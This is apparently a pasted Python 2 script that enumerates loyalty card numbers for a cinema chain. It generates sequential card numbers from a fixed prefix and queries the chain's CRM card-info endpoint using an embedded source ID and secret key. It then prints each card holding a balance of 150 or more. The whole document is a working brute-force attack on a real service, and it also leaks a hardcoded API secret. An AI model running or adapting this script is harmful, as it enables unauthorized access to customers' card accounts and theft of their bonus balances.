· 7 years ago · Apr 07, 2018, 04:18 PM
1
2import urllib2, random, json
3
4def card_generator(ends_with, starts_with="964307010400"):
5 while len(ends_with) < 4:
6 ends_with = '0' + ends_with
7 return starts_with + ends_with
8
9def send_request(card_number, min_balance=150):
10 data = {
11 "Request": {
12 "Card": {
13 "Number": card_number,
14 "NextCategoryVisitsNumber": 0,
15 "IsECard": False,
16 "IsBookingOptionEnabled": False,
17 "InactiveBonuses": 0,
18 "CurrentBalance": 0,
19 "VisitsNumber": 0
20 },
21 "Source": {
22 "Id": "EFA6EDFE-C0C6-4FB6-BA23-7F6AEE7348B7",
23 "SecretKey": "4Tjmrk7g7SbDrhRXwiRe"
24 }
25 }}
26 request = urllib2.Request('https://lk.cinemapark.ru/crm/GetCardInfo', json.dumps(data))
27 response = json.loads(urllib2.urlopen(request).read())
28 balance = response['GetCardInfoResult']['Card']['CurrentBalance']
29
30 if balance >= min_balance:
31 print 'card: %s balance: %d' % (card_number, balance)
32
33for ends_with in range(0, 3500): # last 4 numbers
34 card_number = card_generator(str(ends_with))
35 send_request(card_number)